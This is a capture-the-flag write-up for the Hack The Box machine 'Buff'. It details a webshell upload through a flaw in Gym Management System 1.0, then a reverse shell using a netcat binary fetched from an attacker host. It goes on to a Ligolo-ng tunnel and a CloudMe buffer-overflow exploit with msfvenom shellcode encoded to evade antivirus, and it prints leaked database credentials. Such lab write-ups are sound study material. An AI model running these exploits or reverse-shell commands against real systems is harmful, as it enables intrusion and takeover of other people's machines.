Buff — Hack The Box

InfoValue
OSWindows 10 (17134.1610)
DifficultyEasy
IP10.129.25.107
Hostnamebuff.htb
ServicesHTTP/Apache (8080)

Enumeration

Nmap

nmap -sC -sV -p- -vvv -oA scan/nmap.scan buff.htb
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Note

A single open port — the entire machine revolves around the web application on 8080.

Web Application — Gym Management System

The site is mrb3n’s Bro Hut, a gym. Navigating the pages identifies the software: Gym Management System 1.0 (projectworlds.in).

Found Credentials

File New Text Document.txt in C:\xampp\htdocs\gym\:

$mysql_host = "mysql16.000webhost.com";
$mysql_database = "a8743500_secure";
$mysql_user = "a8743500_secure";
$mysql_password = "ipad12345";

Foothold

RCE — Gym Management System Unauthenticated Upload

Vulnerability

Gym Management System 1.0 — Unauthenticated upload on /upload.php with filter bypass (double extension + Content-Type + magic bytes PNG).

Ref: https://www.exploit-db.com/exploits/48506

See also: 8 — File Upload Bypass

python2 48506.py http://buff.htb:8080/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
buff\shaun

The exploit loads a PHP webshell with .php.png extension, PNG magic bytes, and image/png Content-Type in /upload/.

How the exploit works — analysis of upload.php

1. No authentication/upload.php does not verify the user session.

2. Filename controlled by attacker — the id parameter becomes the filename:

$user = $_GET['id'];
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/". $user.".".$ext);

3. Extension whitelist bypass — the filter checks only the last extension:

$allowedExts = array("jpg", "jpeg", "gif", "png", "JPG");
$extension = @end(explode(".", $_FILES["file"]["name"]));

The file kaio-ken.php.png passes the check because end() returns png.

4. Content-Type bypass — the server verifies the MIME type in the request header:

if ($_FILES["file"]["type"] == "image/png")

Simply set Content-Type: image/png in the form-data.

5. The rename trick — the server renames the file using the second element of the array (index 1):

$pic = $_FILES["file"]["name"];        // "kaio-ken.php.png"
$conv = explode(".", $pic);            // ['kaio-ken', 'php', 'png']
$ext = $conv['1'];                     // 'php' ← not 'png'!

The final file becomes kamehameha.php — executable by the server.

6. Webshell — accessible at /upload/kamehameha.php?telepathy=whoami

Stabilized Shell

From the webshell, transfer netcat and obtain a reverse shell (see FileTransfer):

curl.exe -o C:\xampp\nc.exe http://<ATTACKER_IP>:8000/nc.exe
C:\xampp\nc.exe <ATTACKER_IP> 443 -e powershell
rlwrap nc -nvlp 443

User

Shell as buff\shaun. User flag in C:\Users\shaun\Desktop\user.txt.

Privilege Escalation

Internal Port Enumeration — CloudMe 1.11.2

See also: PortForwarding and PrivilegeEscalationWindows

CloudMe_1112.exe is present in C:\Users\shaun\Downloads\.

netstat vs nmap

netstat -ano did not show port 8888 because CloudMe is started by a scheduled task and is not always active. nmap via Ligolo, taking longer, intercepted a cycle where the service was running. When looking for intermittent services, a single netstat may not be enough — repeating it or using tasklist to find the process is more reliable.

Checking listening ports on localhost via nmap reveals port 8888 — the CloudMe Sync service.

Port forwarding with Ligolo-ng

Setup of the tunnel to reach internal services:

# Attacker: create TUN interface and start proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
:: Target: download and start agent
curl.exe -o C:\xampp\ligolo-agent.exe http://<ATTACKER_IP>:8000/ligolo-agent.exe
C:\xampp\ligolo-agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
ligolo-ng » session
? Specify a session: 1 - buff\shaun@BUFF
[Agent : buff\shaun@BUFF] » start
# Attacker: add route for target's localhost
sudo ip route add 240.0.0.1/32 dev ligolo

Internal Nmap via Ligolo

nmap 240.0.0.1 --top-ports=1000 -sV -sC -vvv
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds?
3306/tcp open  mysql        MariaDB 5.5.5-10.4.11
8080/tcp open  http         Apache httpd 2.4.43
8888/tcp open  sun-answerbook?

Port 8888

Not visible from outside — listening only on localhost. It is the CloudMe Sync 1.11.2 service, vulnerable to buffer overflow.

CloudMe 1.11.2 — Buffer Overflow

Vulnerability

CloudMe Sync 1.11.2 — Buffer overflow allowing arbitrary code execution. The exploit overwrites the return address with a ROP gadget (PUSH ESP / RET) and jumps to the injected shellcode.

Ref: https://www.exploit-db.com/exploits/48389

Step 1 — Generate shellcode with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 \
  -b '\x00\x0a\x0d' \
  -e x86/shikata_ga_nai \
  -f python -v buf

msfvenom parameters

  • -b '\x00\x0a\x0d' — Bad characters to exclude: null byte (\x00), line feed (\x0a), carriage return (\x0d). These bytes interrupt payload copying in memory (terminate strings or lines in the protocol) and would corrupt the exploit.
  • -e x86/shikata_ga_nai — Polymorphic encoder: obfuscates the payload so it does not contain bad characters and changes signature on each generation. Also useful for basic AV evasion (not always sufficient).
  • -f python -v buf — Output in Python format with variable buf, ready to paste into the exploit script.

Step 2 — Modify the exploit

In script 48389.py, modify target and payload:

import socket, sys
 
target = "240.0.0.1"  # was 127.0.0.1 — now via Ligolo
 
payload  = b"\x90" * 1052
payload += b"\xB5\x42\xA8\x68"  # ROP: PUSH ESP / RET (0x68A842B5)
payload += b"\x90" * 30          # NOP sled
 
# msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444
#   -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -f python -v buf
buf  = b""
buf += b"\xda\xcd\xd9\x74\x24\xf4..."  # generated shellcode
# ... (full payload from msfvenom)
 
payload += buf
 
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, 8888))
    s.send(payload)
except Exception as e:
    print(sys.exc_value)

The port is already correct in the script:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 8888))
s.send(buf)

The exploit sends 1052 bytes of padding + ROP gadget (0x68A842B5 — PUSH ESP / RET) + NOP sled + shellcode to port 8888.

Step 3 — Execute and gain Administrator

# Attacker: listener
nc -nvlp 4444
# Attacker: launch exploit via Ligolo tunnel
python3 48389.py
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.10.59] 49685
 
C:\Windows\system32> whoami
buff\administrator

Root flag in C:\Users\Administrator\Desktop\root.txt.


Attack Chain Summary

Nmap → single port 8080 (Apache + PHP)


Web enum → Gym Management System 1.0


Exploit 48506.py → upload webshell (.php.png + magic bytes)
    │  RCE like buff\shaun

curl.exe + nc.exe → stabilized reverse shell → user flag


Internal enum → CloudMe_1112.exe in Downloads + port 8888 on localhost


Ligolo-ng tunnel → 240.0.0.1:8888 reachable from attacker


CloudMe 1.11.2 buffer overflow (48389.py)
    │  msfvenom shellcode + shikata_ga_nai encoder

buff\administrator → root flag